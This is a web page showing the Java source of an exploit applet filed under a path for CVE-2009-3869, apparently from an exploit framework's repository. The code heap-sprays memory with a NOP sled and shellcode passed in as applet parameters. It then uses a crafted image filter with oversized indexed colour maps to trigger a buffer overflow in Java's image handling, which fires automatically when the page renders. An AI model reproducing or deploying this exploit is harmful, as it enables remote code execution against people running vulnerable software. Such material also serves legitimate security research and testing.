Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2009-3869/AppletX.java
Views: 11780
//1// $Id$2//3// Version: $Revision$4//56import java.awt.*;7import java.awt.image.*;8import java.nio.*;910public class AppletX extends java.applet.Applet11{12private IntBuffer [] mem;13private Image src, dst;14private boolean painted = false;1516public void init()17{18// load image19src = getImage(getCodeBase(), "test.png");2021// wait for image to be loaded22MediaTracker mt = new MediaTracker(this);23mt.addImage(src, 0);24try { mt.waitForAll(); } catch (InterruptedException e) { }25mt.removeImage(src);2627// create our filtered version (nasty one!)28ImageProducer ip = src.getSource();29ImageFilter iflt = new BoomFilter();30dst = createImage(new FilteredImageSource(ip, iflt));3132try33{34mem = spray(getParameter("sc"), getParameter("np"));35// System.out.println("Sprayed!");36}37catch (Exception e)38{39}4041// the vuln shall trigger itself auto-magically on render...42}4344public void paint(Graphics g)45{46if (!painted)47{48painted = true;49if (src != null)50g.drawImage(src, 10, 10, this);51if (dst != null)52g.drawImage(dst, 250, 10, this);53}54}5556// based on:57// http://stackoverflow.com/questions/140131/convert-a-string-representation-of-a-hex-dump-to-a-byte-array-using-java58public static short[] HexDecode(String s)59{60short[] data = new short[s.length()/2];6162for (int i = 0; i < s.length(); i += 2)63{64char c1 = s.charAt(i);65char c2 = s.charAt(i + 1);6667int comb = Character.digit(c1, 16) & 0xff;68comb <<= 4;69comb += Character.digit(c2, 16) & 0xff;70data[i/2] = (short)comb;71}72return data;73}7475public final IntBuffer [] spray(String sc, String np)76{77short [] sc_bytes = HexDecode(sc);78short [] np_bytes = HexDecode(np);7980return spray (sc_bytes, np_bytes);81}8283public final IntBuffer [] spray(short[] sc, short[] np)84{85int cnt = 50; // total 50 mb86int sz = 1024*1024; // 1 mb87int nops = (sz / 4) - (sc.length);8889IntBuffer [] ret = new IntBuffer[cnt];9091for (int bi = 0; bi < cnt; bi++)92{93IntBuffer ib = IntBuffer.allocate(sz / 4);9495for (int i = 0; i < nops; ++i)96ib.put((np[0]97| (np[1] << 8)98| (np[2] << 16)99| (np[3] << 24)));100// ib.put(0x90909090);101102for (int i = 0; i < sc.length; )103ib.put((sc[i++]104| (sc[i++] << 8)105| (sc[i++] << 16)106| (sc[i++] << 24)));107ret[bi] = ib;108}109return ret;110}111}112113114class BoomFilter extends java.awt.image.ImageFilter115{116public void setDimensions(int width, int height)117{118// System.out.println("in setDimensions");119consumer.setDimensions(width, height);120121// pixels...122int PXSZ = 100*100;123byte[] px = new byte[PXSZ];124for (int i = 0; i < PXSZ; i++)125px[i] = 0x00;126127// our length128int SZ1 = 0xff;129int SZ2 = 0x800;130ColorModel cm;131132// here we setup two color maps.133// the first one is used to control what values are written to in the second one.134135int[] rgba = new int[SZ1];136for (int i = 0; i < SZ1; i++)137rgba[i] = 0xff010203 + i;138rgba[0x01] = 0xff020202;139rgba[0x24] = 0xff020203;140cm = new IndexColorModel(8, SZ1, rgba, 0, false, -1, DataBuffer.TYPE_BYTE);141consumer.setColorModel(cm);142143// trigger the bug144rgba = new int[SZ2];145// everything from the first buffer must be found to trigger the overflow146for (int i = 0; i < SZ1; i++)147rgba[i] = 0xff010203 + i;148rgba[0x01] = 0xff020202;149rgba[0x24] = 0xff020203;150for (int i = SZ1; i < SZ2 - 1; i += 2)151{152rgba[i] = 0xff020203;153rgba[i+1] = 0xff020202;154}155cm = new IndexColorModel(8, SZ2, rgba, 0, false, -1, DataBuffer.TYPE_BYTE);156157consumer.setPixels(10, 10, 10, 10, cm, px, 1, 1);158}159}160161162